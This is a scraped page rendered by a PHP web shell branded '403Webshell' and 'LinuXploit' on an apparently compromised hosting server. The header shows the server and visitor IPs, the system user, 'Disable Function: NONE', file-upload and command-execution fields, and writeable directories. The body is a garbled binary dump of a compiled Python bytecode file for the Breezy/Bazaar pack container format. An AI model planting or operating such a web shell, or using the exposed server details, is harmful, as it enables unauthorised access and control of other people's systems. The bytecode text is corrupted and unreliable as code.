403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/bzr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/bzr/__pycache__/pack.cpython-313.pyc
�

p��g�N���SrSSKrSSKJr SSKJr Sr\R"S5r"SS	\R5r
"S
S\
5r"SS
\
5r"SS\
5r
"SS\
5r"SS\
5r"SS\
5rSrSr"SS5r"SS5r"SS5rSr"SS 5r"S!S"\5r"S#S$\5r"S%S&5rS'rg)(ztContainer format for Bazaar data.

"Containers" and "records" are described in
doc/developers/container-format.txt.
�N)�BytesIO�)�errorss)Bazaar pack format 1 (introduced in 0.18)s[	

 ]c��\rSrSrSrSrg)�ContainerError�"zBase class of container errors.�N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__�__static_attributes__r	��1/usr/lib/python3/dist-packages/breezy/bzr/pack.pyrr"s��)rrc��\rSrSrSrSrSrg)�UnknownContainerFormatError�&z3Unrecognised container format: %(container_format)rc��Xlg�N��container_format)�selfrs  r�__init__�$UnknownContainerFormatError.__init__)s�� 0�rrN�r
rrr
�_fmtrrr	rrrr&s��@�D�1rrc��\rSrSrSrSrg)�UnexpectedEndOfContainerError�-z"Unexpected end of container streamr	N)r
rrr
rrr	rrrr-s��/�Drrc��\rSrSrSrSrSrg)�UnknownRecordTypeError�1z$Unknown record type: %(record_type)rc��Xlgr��record_type�rr&s  rr�UnknownRecordTypeError.__init__4s��&�rr%Nrr	rrr"r"1s��1�D�'rr"c��\rSrSrSrSrSrg)�InvalidRecordError�8zInvalid record: %(reason)sc��Xlgr��reason)rr.s  rr�InvalidRecordError.__init__;����rr-Nrr	rrr*r*8s��'�D�rr*c��\rSrSrSrSrSrg)�ContainerHasExcessDataError�?z/Container has data after end marker: %(excess)rc��Xlgr��excess)rr6s  rr�$ContainerHasExcessDataError.__init__Br0rr5Nrr	rrr2r2?s��<�D�rr2c��\rSrSrSrSrSrg)�DuplicateRecordNameError�Fz;Container has multiple records with the same name: %(name)sc�0�URS5Ulg)N�utf-8)�decode�name)rr>s  rr�!DuplicateRecordNameError.__init__Is���K�K��(��	r�r>Nrr	rrr9r9Fs��H�D�)rr9c�d�[RU5b[SRU55eg)z�Do some basic checking of 'name'.

At the moment, this just checks that there are no whitespace characters in a
name.

:raises InvalidRecordError: if name is not valid.
:seealso: _check_name_encoding
Nz{!r} is not a valid name.)�_whitespace_re�searchr*�formatr@s r�_check_namerEMs1�����T�"�.� �!<�!C�!C�D�!I�J�J�/rc�v�URS5 g![an[[U55UeSnAff=f)z�Check that 'name' is valid UTF-8.

This is separate from _check_name because UTF-8 decoding is relatively
expensive, and we usually want to avoid it.

:raises InvalidRecordError: if name is not valid UTF-8.
r<N)r=�UnicodeDecodeErrorr*�str)r>�es  r�_check_name_encodingrJZs4��0����G����0� ��Q��(�a�/��0�s��
8�3�8c�0�\rSrSrSrSrSrSrSrSr	g)	�ContainerSerialiser�hz�A helper class for serialising containers.

It simply returns bytes from method calls to 'begin', 'end' and
'bytes_record'.  You may find ContainerWriter to be a more convenient
interface.
c��[S-$)z&Return the bytes to begin a container.�
)�
FORMAT_ONE�rs r�begin�ContainerSerialiser.beginps
���E�!�!rc��g)z'Return the bytes to finish a container.�Er	rQs r�end�ContainerSerialiser.endts��rc��S/nURSU4-5 UH:nUHn[U5 M URSRU5S-5 M< URS5 SRU5$)z%Return the header for a Bytes record.�Bs%d
�rOr)�appendrE�join)r�length�names�
byte_sections�
name_tupler>s      r�bytes_header� ContainerSerialiser.bytes_headerxsy����
����W��y�0�1��J�#���D�!�#�� � ����j�!9�E�!A�B� �	���U�#��x�x�
�&�&rc�>�UR[U5U5U-$)z�Return the bytes for a Bytes record with the given name and
contents.

If the content may be large, construct the header separately and then
stream out the contents.
)ra�len)r�bytesr^s   r�bytes_record� ContainerSerialiser.bytes_record�s ��� � ��U��U�3�e�;�;rr	N)
r
rrr
rrRrVrarfrr	rrrLrLhs���"��'�"<rrLc�:�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)�ContainerWriter�z�A class for writing containers to a file.

:attribute records_written: The number of user records added to the
    container. This does not count the prelude or suffix of the container
    introduced by the begin() and end() methods.
i��c�J�XlSUlSUl[5Ulg)zyConstructor.

:param write_func: a callable that will be called when this
    ContainerWriter needs to write some bytes.
rN)�_write_func�current_offset�records_writtenrL�_serialiser)r�
write_funcs  rr�ContainerWriter.__init__�s%��&����� ���.�0��rc�V�URURR55 g)zBegin writing a container.N)rprorRrQs rrR�ContainerWriter.begin�s������(�(�.�.�0�1rc�b�URU5 U=R[U5-
slgr)rlrmrd)rres  rrp�ContainerWriter.write_func�s%����������s�5�z�)�rc�V�URURR55 g)zFinish writing a container.N)rprorVrQs rrV�ContainerWriter.end�s������(�(�,�,�.�/rc��URnX R:a=URURR	X#5SRU5-5 ODURURR	X#55 UHnURU5 M U=RS-
slX@RU-
4$)a�Add a Bytes record with the given names.

:param bytes: The chunks to insert.
:param length: Total length of bytes in chunks
:param names: The names to give the inserted bytes. Each name is
    a tuple of bytestrings. The bytestrings may not contain
    whitespace.
:return: An offset, length tuple. The offset is the offset
    of the record within the container, and the length is the
    length of data that will need to be read to reconstitute the
    record. These offset and length can only be used with the pack
    interface - they might be offset by headers or other such details
    and thus are only suitable for use by a ContainerReader.
r�)rm�_JOIN_WRITES_THRESHOLDrprorar\rn)r�chunksr]r^rm�chunks      r�add_bytes_record� ContainerWriter.add_bytes_record�s����,�,���/�/�/��O�O�� � �-�-�f�<�s�x�x��?O�O�
�
�O�O�D�,�,�9�9�&�H�I�������&� �����!���2�2�^�C�C�Cr)rorlrmrnN)r
rrr
rrzrrRrprVr}rr	rrriri�s)���$��	1�2�*�0�Drric�0�\rSrSrSrSrSrSrSrSr	g)	�	ReadVFile��z�Adapt a readv result iterator to a file like protocol.

The readv result must support the iterator protocol returning (offset,
data_bytes) pairs.
c�4�[U5nXlSUlg)z�Construct a new ReadVFile wrapper.

:seealso: make_readv_reader

:param readv_result: the most recent readv result - list or generator
N)�iter�readv_result�_string)rr�s  rr�ReadVFile.__init__�s���L�)��(����rc���URb(URR5UR:Xa8[UR5up[U5Ul[
U5Ulggr)r��tell�_string_length�nextr�rdr)r�offset�datas   r�_next�ReadVFile._next�sU���<�<��4�<�<�#4�#4�#6�$�:M�:M�#M��� 1� 1�2�L�F�"%�d�)�D��"�4�=�D�L�$Nrc
���UR5 URRU5n[U5U:a-[R
"SUS[U5SUSS<S35eU$)Nzwanted z# bytes but next hunk only contains z: �z...)r�r��readrdr�BzrError)rr]�results   rr��ReadVFile.read�sl���
�
�����"�"�6�*���v�;����/�/��&��"&�&)�&�k�]�"�V�C�R�[�O�3�H��
��
rc��UR5 URR5nURR5UR:Xa.USSS:wa%[
R"SRU55eU$)z1Note that readline will not cross readv segments.���NrOz*short readline in the readvfile hunk: {!r})r�r��readliner�r�rr�rD)rr�s  rr��ReadVFile.readline�sk���
�
�����&�&�(���<�<����$�"5�"5�5�&���+��:N��/�/�<�C�C�F�K��
��
r)r�r�r�N)
r
rrr
rrr�r�r�rr	rrr�r��s����)��rr�c��S[[5S-4/nURU5 [[	URX555nU$)a%Create a ContainerReader that will read selected records only.

:param transport: The transport the pack file is located on.
:param filename: The filename of the pack file.
:param requested_records: The record offset, length tuples as returned
    by add_bytes_record for the desired records.
rry)rdrP�extend�ContainerReaderr��readv)�	transport�filename�requested_records�readv_blocksr�s     r�make_readv_readerr�sF����J��!�+�,�-�L����)�*�
�Y�y���x�'N�O�
P�F��Mrc�*�\rSrSrSrSSjrSrSrg)�
BaseReaderic��Xlg)z]Constructor.

:param source_file: a file-like object with `read` and `readline`
    methods.
N��_source)r�source_files  rr�BaseReader.__init__s	��#�rNc�8�URRU5$r)r�r�)rr]s  r�reader_func�BaseReader.reader_funcs���|�|� � ��(�(rc��URR5nURS5(d
[5eUR	S5$)NrO)r�r��endswithr�rstrip�r�lines  r�
_read_line�BaseReader._read_lines;���|�|�$�$�&���}�}�U�#�#�/�1�1��{�{�5�!�!rr�r)r
rrr
rr�r�rr	rrr�r�s��#�)�"rr�c�<�\rSrSrSrSrSrSrSrSr	Sr
S	rg
)r�i&z.A class for reading Bazaar's container format.c�B�UR5 UR5$)aIterate over the container, yielding each record as it is read.

Each yielded record will be a 2-tuple of (names, callable), where names
is a ``list`` and bytes is a function that takes one argument,
``max_length``.

You **must not** call the callable after advancing the iterator to the
next record.  That is, this code is invalid::

    record_iter = container.iter_records()
    names1, callable1 = record_iter.next()
    names2, callable2 = record_iter.next()
    bytes1 = callable1(None)

As it will give incorrect results and invalidate the state of the
ContainerReader.

:raises ContainerError: if any sort of container corruption is
    detected, e.g. UnknownContainerFormatError is the format of the
    container is unrecognised.
:seealso: ContainerReader.read
)�_read_format�
_iter_recordsrQs r�iter_records�ContainerReader.iter_records)s��.	
�����!�!�#�#rc�B�UR5 UR5$)a�Iterate over the container, yielding each record as it is read.

Each yielded record will be an object with ``read`` and ``validate``
methods.  Like with iter_records, it is not safe to use a record object
after advancing the iterator to yield next record.

:raises ContainerError: if any sort of container corruption is
    detected, e.g. UnknownContainerFormatError is the format of the
    container is unrecognised.
:seealso: iter_records
)r��_iter_record_objectsrQs r�iter_record_objects�#ContainerReader.iter_record_objectsCs��	
�����(�(�*�*rc#�^# �UR5HnUR5v� M g7fr)r�r�)r�records  rr��ContainerReader._iter_recordsRs$����/�/�1�F��+�+�-��2�s�+-c#��# �URS5nUS:Xa[UR5nUv� O"US:XagUS:Xa
[	5e[U5eMV![a gf=f7f)NryrYrUr)r��
StopIteration�BytesRecordReaderr�rr")r�record_kind�readers   rr��$ContainerReader._iter_record_objectsVs}����
�"�.�.�q�1���d�"�*�4�<�<�8������$����#�4�5�5�-�[�9�9�%��!�
��
�s(�A*�A�AA*�
A'�$A*�&A'�'A*c�N�UR5nU[:wa[U5egr)r�rPr)rrDs  rr��ContainerReader._read_formatks&�����"���Z��-�f�5�5� rc� �[5nUR5HNup#U"S5 UH;nUHn[U5 M XA;a[US5eUR	U5 M= MP URS5nUS:wa[
U5eg)z�Validate this container and its records.

Validating consumes the data stream just like iter_records and
iter_record_objects, so you cannot call it after
iter_records/iter_record_objects.

:raises ContainerError: if something is invalid.
Nrryr)�setr�rJr9�addr�r2)r�	all_names�record_names�
read_bytesr`r>�excess_bytess       r�validate�ContainerReader.validateps����E�	�(,�(9�(9�(;�$�L��t��*�
�&�D�(��.�'��*�2�:�a�=�A�A��
�
�j�)�+�)<��'�'��*���3��-�l�;�;�rr	N)r
rrr
rr�r�r�r�r�r�rr	rrr�r�&s#��8�$�4
+� �:�*6�
<rr�c�&�\rSrSrSrSrSrSrg)r�i�c�p�UR5n[U5n/nUR5nUS:XaOA[UR
S55nUHn[U5 M URU5 MXX l	X@R4$![a n[SR	U55UeSnAff=f)a�Read this record.

You can either validate or read a record, you can't do both.

:returns: A tuple of (names, callable).  The callable can be called
    repeatedly to obtain the bytes for the record, with a max_length
    argument.  If max_length is None, returns all the bytes.  Because
    records can be arbitrarily large, using None is not recommended
    unless you have reason to believe the content will fit in memory.
�{!r} is not a valid length.NrrZ)r��int�
ValueErrorr*rD�tuple�splitrEr[�_remaining_length�_content_reader)r�length_liner]rIr^�	name_liner`r>s        rr��BytesRecordReader.read�s����o�o�'��	���%�F�������)�I��C����y���w�7�8�J�"���D�!�#��L�L��$��"(���*�*�*�*��#�	�$�-�4�4�[�A���
��	�s�B�
B5�B0�0B5c���Uc
URnO[XR5nU=RU-slURU5n[U5U:wa
[	5eU$r)r��minr�rdr)r�
max_length�length_to_readres    rr��!BytesRecordReader._content_reader�s^����!�3�3�N� ��-C�-C�D�N����.�0��� � ��0���u�:��'�/�1�1��rc�r�UR5upUHnUHn[U5 M M U"S5 g)zValidate this record.

You can either validate or read, you can't do both.

:raises ContainerError: if this record is invalid.
N)r�rJ)rr^r�r`r>s     rr��BytesRecordReader.validate�s8��!�I�I�K����J�"��$�T�*�#� �	�4�r)r�N)r
rrr
r�r�r�rr	rrr�r��s�� +�D	�rr�c�d�\rSrSrSrSrSrSrSSjrSr	S	r
S
rSrSr
S
rSrSrSrg)�ContainerPushParseri�z�A "push" parser for container format 1.

It accepts bytes via the ``accept_bytes`` method, and parses them into
records which can be retrieved via the ``read_pending_records`` method.
c�p�SUlURUl/UlUR	5 SUlg)NrF)�_buffer�_state_expecting_format_line�_state_handler�_parsed_records�_reset_current_record�finishedrQs rr�ContainerPushParser.__init__�s2�����"�?�?���!����"�"�$���
rc� �SUl/Ulgr)�_current_record_length�_current_record_namesrQs rr��)ContainerPushParser._reset_current_record�s��&*��#�%'��"rc� �U=RU-
slSn[UR5nSnX2:wdX@R:waLUnURnUR5 [UR5nX2:waM:X@R:waMKggr)r�rdr�)rre�last_buffer_length�cur_buffer_length�last_state_handlers     r�accept_bytes� ContainerPushParser.accept_bytes�s���������"������-��!���3�!�%8�%8�8�!2��!%�!4�!4�����!� #�D�L�L� 1��

�3�!�%8�%8�8rNc�z�U(a URSUnURSU2	U$URn/UlU$r)r�)r�max�recordss   r�read_pending_records�(ContainerPushParser.read_pending_records�sF����*�*�4�C�0�G��$�$�T�c�T�*��N��*�*�G�#%�D� ��Nrc��URRS5nUS:wa(URSUnURUS-SUlU$g)z�Take a line out of the buffer, and return the line.

If a newline byte is not found in the buffer, the buffer is
unchanged and this returns None instead.
rOr�Nry)r��find)r�newline_posr�s   r�
_consume_line�!ContainerPushParser._consume_line�sO���l�l�'�'��.���"���<�<���-�D��<�<��a��(9�:�D�L��K�rc�x�UR5nUb'U[:wa[U5eURUlggr)rrPr�_state_expecting_record_typer�r�s  rr��0ContainerPushParser._state_expecting_format_lines<���!�!�#�����z�!�1�$�7�7�"&�"C�"C�D��rc��[UR5S:�aeURSSnURSSUlUS:XaURUlgUS:XaSUlUR
Ulg[
U5eg)NryrYrUT)rdr��_state_expecting_lengthr�r��_state_expecting_nothingr"r's  rr�0ContainerPushParser._state_expecting_record_typesx���t�|�|���!��,�,�r��*�K��<�<���+�D�L��d�"�&*�&B�&B��#���$� $��
�&*�&C�&C��#�,�[�9�9�"rc���UR5nUb#[U5UlURUlgg![a n[	SRU55UeSnAff=f)Nr�)rr�r�r�r*rD�_state_expecting_namer�)rr�rIs   rr�+ContainerPushParser._state_expecting_lengthsl���!�!�#����
�.1�$�i��+�
#'�"<�"<�D�����
�(�1�8�8��>�����
�s�8�
A"�A�A"c��UR5nUS:XaURUlgU(aJ[UR	S55nUHn[U5 M URRU5 gg)NrrZ)r�_state_expecting_bodyr�r�r�rEr�r[)r�encoded_name_parts�
name_parts�	name_parts    rr
�)ContainerPushParser._state_expecting_namesk��!�/�/�1����$�"&�"<�"<�D��
��1�7�7��@�A�J�'�	��I�&�(��&�&�-�-�j�9�	 rc�N�[UR5UR:�a�URSURnURURSUlURU4nURRU5 UR
5 URUlggr)	rdr�r�r�r�r[r�rr�)r�
body_bytesr�s   rr
�)ContainerPushParser._state_expecting_body)s����t�|�|��� ;� ;�;����&C��(C�(C�D�J��<�<��(C�(C�(E�F�D�L��0�0�*�=�F�� � �'�'��/��&�&�(�"&�"C�"C�D��
<rc��grr	rQs rr�,ContainerPushParser._state_expecting_nothing2s��rc��SnURUR:Xa5UR[UR5-
nUS:aSn[X5$U$)Ni@r)r�r
r�rdr�r�)r�hint�	remainings   r�read_size_hint�"ContainerPushParser.read_size_hint5sP�������$�"<�"<�<��3�3�c�$�,�,�6G�G�I��1�}��	��t�'�'��r)r�r�r�r�r�r�r)r
rrr
rrr�r�r�rr�rrr
r
rrrr	rrr�r��sE����(�2� ��D�
:�	=�:�D�
�rr�c#��# �[5nURUR55nURU5 UR	5Shv�N UR
(agM\N7fr)r�r�rr�r�r�)r��parserres   r�iter_records_from_filer?s]���
 �
"�F�
�� � ��!6�!6�!8�9�����E�"��.�.�0�0�0��?�?���	1�s�AA,�A*�A,)r�re�ior�rrP�compilerBr�rrrr"r*r2r9rErJrLrir�r�r�r�r�r�rr	rr�<module>r#s���"�
���
9�
����0�1��*�V�_�_�*�1�.�1�0�N�0�'�^�'�����.��)�~�)�
K�0�(<�(<�V=D�=D�@/�/�d�"�"�&b<�j�b<�J9�
�9�xu�u�pr

Youez - 2016 - github.com/yon3zu
LinuXploit